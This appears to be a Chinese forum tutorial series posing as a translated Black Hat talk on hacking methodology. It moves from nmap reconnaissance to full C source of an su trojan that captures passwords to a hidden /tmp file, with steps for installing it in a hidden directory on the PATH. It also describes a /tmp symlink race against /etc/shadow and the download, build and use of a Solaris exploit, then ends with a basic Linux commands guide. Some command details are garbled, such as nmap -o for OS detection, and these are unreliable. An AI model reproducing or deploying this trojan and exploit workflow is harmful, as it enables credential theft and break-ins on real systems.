翻译:cnbird 来自:http://cnbird.99blog.com/ QQ:550669
大家好:我是Kevin Mitnic,我翻译这篇文章的目的不是让你们去入侵,而是让你们懂得黑客入侵的步骤,这样我们才能更好的防御黑客。。。
好了开始吧~
这篇文章是我再blackhat的主页上看到的,这是今年blackhat在加拿大黑客大会上一个著名的黑客的安全报告。
如果你有兴趣看英文原版请找我联系:441303228
再说明一次这篇文章不是教你们怎么样去入侵,而是更好的防御,以后我将陆续放出其他的安全报告,绝对精彩,请关注。。。
题目:黑客入侵方法学
目录:1.一般入侵法2。如何保存权限,防后门。3,script脚本方式
1.一般的入侵办法"Old school"
⒚信息收集(包括:探查和入侵两部分)
⑵改进(非常重要,包括改进源代码等)
⑶保护措施
⑷渗入/ 撤出
下面是上面一步一步的详细介绍
⑴信息收集分5个方面。
1。确定攻击目标,不然搞个屁啊。
2。经常从一个具体的网络或者一家具体的公司开始.
3.Whois nslookup 查询
4。samspade.org
5.搜索引擎(Google攻击,以后我会详细介绍这部分,这部分内容太多,而且非常容易简单)
信息收集部分的探查部分:
1.总体扫描具体地址的漏洞其中包括以下4部分
⒈nmap扫描
⒉netcat
⒊netbios扫描
⒋搜索目标机器上的版本和服务banner标题
举例:nmap -o target.com (NMAP不仅仅用于端口扫描,它也包括-o的操作系统探测.) nmap -p target.com 列出目标机器的rpcinfo信息。
好了信息收集部分就到次为知了,如果大家觉得好的话我会继续放出其余部分,其余部分都是非常值得看的~
欢迎大家支持我这个新来的斑竹。。
谢谢。。。
下次见。。。。。。。。。。。。。。
Kevin Mitnic(550669)希望大家能和我讨论技术。。。。。。。。。
上次讲到了黑客的基本信息查询,现在放出黑客的攻击部分,大家精神起来,因为大部分操作都在Linux下操作的所以希望大家能装个linux,如果大家不懂的话我以前做过这样的一个动画,可以找我联系。
还是哪句话:我是Kevin Mitnic,我翻译这篇文章的目的不是让你们去入侵,而是让你们懂得黑客入侵的步骤,这样我们才能更好的防御黑客。。。
好了开始吧~这次的主题是入侵部分
1。基本入侵方式之攻击:
⒈收集相容的EXPolits代码
2。如果有需要,修改Expolits部分。
⒊对目标发动攻击
⒋修改参数,重新发动攻击,(如果要求)
添加一点自己的想法,大家不会介意吧。
其实有许多不同的方式来入侵主机,按我自己的理解分为2部分。
⑴本地入侵方式,入侵者已经有了shell的权限,下面做的事就是提升权限。
例如黑客经常用的su.c
/*
* sutroj.c
* by bind
*
* Written as a replacment for all the ****ed up su trojans.
*
* Installation: assuming sutroj.c is in $HOME
* 1.) mkdir ~/...
* 2.) cd ... ; mv ../sutroj.c ./su.c
* 3.) gcc -o su su.c
* 4.) echo 'PATH=$HOME/...:$PATH' >> ~/.bash_profile
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#define FILE "/tmp/.p4ss"
#define ERROR "Sorry."
int main(int argc, char *argv[])
{
char buffer[20];
char command[30];
char user[10];
char *path;
int output;
system("echo \"rm $HOME/.../su; ln -s /bin/su $HOME/.../su ; rm $HOME/.../script\" > $HOME/.../script");
system("chmod +x $HOME/.../script");
if(argv[1] != NULL)
sprintf(user,"%s -> ",argv[1]);
else sprintf(user,"root -> ");
snprintf(buffer,sizeof(buffer),"%s\n",getpass("PassWord: "));
output = open(FILE,O_CREAT O_WRONLY O_APPEND,0666);
if(user != NULL)
write(output,user,strlen(user));
write(output,buffer, strlen(buffer));
close(output);
printf("%s\n",ERROR);
system("script");
}
⑵远程攻击。。就是远程得到root权限。
举例:SNMPXDMID overflow (Solaris 6-8)
http://www.securityfocus.com/bid/2417
OKOK不罗嗦了进入真正的实战入侵部分:
先来举3个很简单的例子,热热身好进入以后更加复杂的部分:这部分帮助你理解入侵的方式。。
1利用竞争条件入侵部分:
⒈一个攻击者在在两次操作之间的一个敏感的时间窗口期间强迫进行一次行动
⒉一个程序保证输出/tmp/temp_output这个文件并不存在。
⒊计划徘徊并且做其他材料
⒋立刻建立一个系统连接文件从/tmp/temp_output 到/etc/shadow
⒌程序写到/tmp/temp_output它已经严重伤害了/etc/shadow文件
例子:RedHat Linux diskcheck
http://online.securityfocus.com/bid/2050
2。系统环境错误
⒈黑客将尝试、着改变系统环境,尽管开发的程序员并不希望如此
⒉例如,一个程序依赖Unix环境变量;$USER 确定谁正运行计划
⒊黑客通过改变变量的值让它以root运行。
⒊就是弱口令了不讲太多了了~~~
好累啊~~~
今天到次为支了,明天继续放出其他黑客入侵部分。
下次讲解黑客入侵操作系统的详细步骤。。希望大家关注。
欢迎大家支持我这个新来的斑竹。。
谢谢。。。
下次见。。。。。。。。。。。。。。
Kevin Mitnic(550669)希望大家能和我讨论技术。。。。。。。。。
闲着没事继续翻译吧~虽然这是很累的工作,可是为了广大的菜鸟黑客入门我就豁出去了,我已经N天没有睡觉了,你们支持支持我的帖子吧~好不好留个言我好改进。。
大家好:我是Kevin Mitnic,我翻译这篇文章的目的不是让你们去入侵,而是让你们懂得黑客入侵的步骤,这样我们才能更好的防御黑客。。。
上次讲到了肉口令,现在我们正式讲解入侵的详细步骤,
首先介绍几个Exploits站点,世界上都很有名的。
1。SecurityFocus: (http://www.securityfocus.com)
2。Packetstorm: (http://packetstormsecurity.org)
3。Hack in the Box: (http://www.hackinthebox.org)
以上的站点都是我经常去的,希望大家为了技术也多多上这上面来学习知识。。
好了正式进入unix入侵
⒈入侵的经典模型:
⑴找到Exploits
⑵下载Exploits
⑶修改Exploits
⑷建立Exploits
⑸测试Exploits
⑹正式运行Exploits
下面就接合例子详细讲解这个经典的入侵模型,
1。找到Exploits
这里面有个很重要的学问,下面我来详细讲解一下,如果你要入侵solaris的机器,你先去google.com搜索solaris Exploits,然后进去相应的网站。。。
2。得到代码
因为我假设大家的平台是linux所以操作再linux下操作了
[root#localhack cnbird]#mget http://www.phreak.org/archives/exploits/unix/solaris-exploits/sparc/2.6/amountdexp.tar.gz
——————————省略输出了,只不过是下载的过程,wget可以让你把Wxploits下载到黑客的机器中。。。。。。。
3。修改代码:
这部分知识需要很多图,而PDF文件在肉机器上不好下载,所以就不讲解这部分了,如果有你兴趣可以找我要blackhat的原文件。。
4。建立代码
用[root#localhack/amountdexp]#make编译程序
这时候已经成功,
5。测试代码
[root#localhack/amountdexp]./amountdexp -h
USAGE ./amountdexp address cache command type[port]
FUTUER HELP :
ADDRESS - system IP
CACHE - system hostname
COMMADN - Execute This command
TYPE - 0:Solaris 2。5。1 stock
1:Solaris 2。5。1 patched 2。6 2。6。1
port - Optional port to bypass portmapper
-H就是显示帮助。。。。
下次再讲入侵部分,卡上已经到时间了。。。。哎~~~~~~
学生就是穷啊,谁救济救济我啊。。。。。。
欢迎大家支持我这个新来的斑竹。。
谢谢。。。
下次见。。。。。。。。。。。。。。
Kevin Mitnic(550669)希望大家能和我讨论技术。。。。。。。。。
在下一个知识进行之前,我们先来熟悉以下linux的基本命令.
Linux基本操作命令
首先介绍一个名词"控制台(console)",它就是我们通常见到的使用字符操作界面的人机接口,例如dos。我们说控制台命令,就是指通过字符界面输入的可以操作系统的命令,例如dos命令就是控制台命令。我们现在要了解的是基于Linux操作系统的基本控制台命令。有一点一定要注意,和dos命令不同的是,Linux的命令(也包括文件名等等)对大小写是敏感的,也就是说,如果你输入的命令大小写不对的话,系统是不会做出你期望的响应的。
ls
这个命令就相当于dos下的dir命令一样,肯定是我第一个就要介绍的,这也是Linux控制台命令中最为重要几个命令之一。ls最常用的参数有三个: -a -l -F。
ls -a
Linux上的文件以.开头的文件被系统视为隐藏文件,仅用ls命令是看不到他们的,而用ls -a除了显示 一般文件名外,连隐藏文件也会显示出来。
ls -l(这个参数是字母L的小写,不是数字1)
这个命令可以使用长格式显示文件内容,如果需要察看更详细的文件资料,就要用到ls -l这个指令。例如我在某个目录下键入ls -l可能会显示如下信息(最上面两行是我自己加的):
位置1 2 3 4 5 6 7
文件属性 文件数 拥有者 所属的group 文件大小 建档日期 文件名
drwx------ 2 Guest users 1024 Nov 21 21:05 Mail
-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*
-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*
lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip
-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*
-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*
下面,我为大家解释一下这些显示内容的意义。
第一个栏位,表示文件的属性。Linux的文件基本上分为三个属性:可读(r),可写(w),可执行(x)。但是这里有十个格子可以添(具体程序实现时,实际上是十个bit位)。第一个小格是特殊表示格,表示目录或连结文件等等,d表示目录,例如drwx------;l表示连结文件,如lrwxrwxrwx;如果是以一横"-"表示,则表示这是文件。其余剩下的格子就以每3格为一个单位。因为Linux是多用户多任务系统,所以一个文件可能同时被许多人使用,所以我们一定要设好每个文件的权限,其文件的权限位置排列顺序是(以-rwxr-xr-x为例):
rwx(Owner)r-x(Group)r-x(Other)
这个例子表示的权限是:使用者自己可读,可写,可执行;同一组的用户可读,不可写,可执行;其它用户可读,不可写,可执行。另外,有一些程序属性的执行部分不是X,而是S,这表示执行这个程序的使用者,临时可以有和拥有者一样权力的身份来执行该程序。一般出现在系统管理之类的指令或程序,让使用者执行时,拥有root身份。
第二个栏位,表示文件个数。如果是文件的话,那这个数目自然是1了,如果是目录的话,那它的数目就是该目录中的文件个数了。
第三个栏位,表示该文件或目录的拥有者。若使用者目前处于自己的Home,那这一栏大概都是它的账号名称。
第四个栏位,表示所属的组(group)。每一个使用者都可以拥有一个以上的组,不过大部分的使用者应该都只属于一个组,只有当系统管理员希望给予某使用者特殊权限时,才可能会给他另一个组。
第五栏位,表示文件大小。文件大小用byte来表示,而空目录一般都是1024byte,你当然可以用其它参数使文件显示的单位不同,如使用ls -k就是用kb莱显示一个文件的大小单位,不过一般我们还是以byte为主。
第六个栏位,表示创建日期。以"月,日,时间"的格式表示,如Aug 15 5:46表示8月15日早上5:46分。
第七个栏位,表示文件名。我们可以用ls -a显示隐藏的文件名。
ls -F(注意,是大写的F)
使用这个参数表示在文件的后面多添加表示文件类型的符号,例如*表示可执行,/表示目录,@表示连结文件,这都是因为使用了-F这个参数。但是现在基本上所有的Linux发行版本的ls都已经内建了-F参数,也就是说,不用输入这个参数,我们也能看到各种分辨符号。
cd
这个命令是用来进出目录的,它的使用方法和在dos下没什么两样,所以我觉得没什么可说的,但有两点我补充一下。首先,和dos不同的是Linux的目录对大小写是敏感的,如果大小写没拼对,你的cd操作是成功不了的。其次,cd如果直接输入,cd后面不加任何东西,会回到使用者自己的Home Directory。假设如果是root,那就是回到/root.这个功能同cd ~是一样的。
mkdir、rmdir
mkdir命令用来建立新的目录,rmdir用来删除以建立的目录,这两个指令的功能不再多加介绍,他们同dos下的md,rd功能和用法都是基本一样的。
cp
这个命令相当于dos下面的copy命令,具体用法是:cp -r 源文件(source) 目的文件(target)
参数r是指连同元文件中的子目录一同拷贝。熟悉dos的读者用起这个命令来会觉得更方便,毕竟比在dos下面要少敲两下键盘。
rm
这个命令是用来删除文件的,和dos下面的rm(删除一个空目录)是有区别的,大家千万要注意。Rm命令常用的参数有三个: -i,-r,-f。
比如我现在要删除一个名字为text的一个文件:rm -i test
系统会询问我们:"rm:remove 'test'?y",敲了回车以后,这个文件才会真的被删除。之所以要这样做,是因为linux不象dos那样有undelete的命令,或者是可以用pctool等工具将删除过的文件救回来,linux中删除过的文件是救不回来的,所以使用这个参数在删除前让你再确定一遍,是很有必要的。
rm -r 目录名:这个操作可以连同这个目录下面的子目录都删除,功能上和rmdir相似。
rm -f 文件名(目录名):这个操作可以进行强制删除。
mv
这个命令的功能是移动目录或文件,引申的功能是给目录或文件重命名。它的用法同dos下面的move基本相同,这里不再多讲。当使用该命令来移动目录时,他会连同该目录下面的子目录也一同移走。另外因为linux下面没有rename的命令,所以如果你想给一个文件或目录重命名时可以用以下方法:mv 原文件(目录)名 新的文件(目录)名。
du,df
du命令可以显示目前的目录所占的磁盘空间,df命令可以显示目前磁盘剩余的磁盘空间。如果du命令不加任何参数,那么返回的是整个磁盘的使用情况,如果后面加了目录的话,就是这个目录在磁盘上的使用情况(这个功能可是dos没有的呦)。不过我一般不喜欢用du,因为它给出的信息是在是太多了,我看不过来,而df这个命令我是最常用的,因为磁盘上还剩多少空间对我来说是很重要的。
cat
这个命令是linux中非常重要的一个命令,它的功能是显示或连结一般的ascii文本文件。cat是concatenate的简写,类似于dos下面的type命令。它的用法如下:
cat text 显示text这个文件;
cat file1 file2 依顺序显示file1,file2的内容;
cat file1 file2>file3 把file1,file2的内容结合起来,再"重定向(>)"到file3文件中。
"〉"是一个非常有趣的符号,是往右重定向的意思,就是把左边的结果当成是输入,然后输入到file3这个文件中。这里要注意一点是file3是在重定向以前还未存在的文件,如果file3是已经存在的文件,那么它本身的内容被覆盖,而变成file1+file2的内容。如果〉左边没有文件的名称,而右边有文件名,例如:
cat >file1:结果是会"空出一行空白行",等待你输入文字,输入完毕后再按[Ctrl]+[c]或[Ctrl]+[d],就会结束编辑,并产生file1这个文件,而file1的内容就是你刚刚输入的内容。这个过程和dos里面的copy con file1的结果是一样的。
另外,如果你使用如下的指令:
cat file1>>file2:这将变成将file1的文件内容"附加"到file2的文件后面,而file2的内容依然存在,这种重定向符〉〉比〉常用,可以多多利用。
more,less
这是两个显示一般文本文件的指令。如果一个文本文件太长了超过一个屏幕的画面,用cat来看实在是不理想,就可以试试more和less两个指令。More指令可以使超过一页的文件临时停留在屏幕,等你按任何的一个键以后,才继续显示。而less除了有more的功能以外,还可以用方向键往上或网下的滚动文件,所以你随意浏览,阅读文章时,less是个非常好的选择。
clear
这个命令是用来清除屏幕的,它不需要任何参数,和dos下面的clr具有相同的功能,如果你觉得屏幕太紊乱,就可以使用它清除屏幕上的信息。
pwd
这个命令的作用是显示用户当前的工作路径,这个命令不用多说,大家一试即知。
ln
这是linux中又一个非常重要命令,请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个同不的链接,这个命令最常用的参数是-s,具体用法是:ln -s 源文件 目标文件。
当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。例如:ln -s /bin/less /usr/local/bin/less
-s 是代号(symbolic)的意思。
这里有两点要注意:第一,ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化;第二,ln的链接又软链接和硬链接两种,软链接就是ln -s ** **,它只会在你选定的位置上生成一个文件的镜像,不会占用磁盘空间,硬链接ln ** **,没有参数-s, 它会在你选定的位置上生成一个和源文件大小相同的文件,无论是软链接还是硬链接,文件都保持同步变化。
如果你用ls察看一个目录时,发现有的文件后面有一个@的符号,那就是一个用ln命令生成的文件,用ls -l命令去察看,就可以看到显示的link的路径了。
man
如果你的英文足够好,那完全可以不靠任何人就精通linux,只要你会用man。Man实际上就是察看指令用法的help,学习任何一种UNIX类的操作系统最重要的就是学会使用man这个辅助命令。man是manual(手册)的缩写字,它的说明非常的详细,但是因为它都是英文,看起来非常的头痛。建议大家需要的时候再去看man,平常吗,记得一些基本用法就可以了。
logout
一看就知道了,这是退出系统的命令,我就不多说了。要强调的一点是,linux是多用户多进程的操作系统,因此如果你不用了,退出系统就可以了,关闭系统你就不用操心了,那是系统管理员的事情.
uname -a 显示本地机器的详细资料包括内核和Unix的版本等.
(出处:http://www.sheup.com)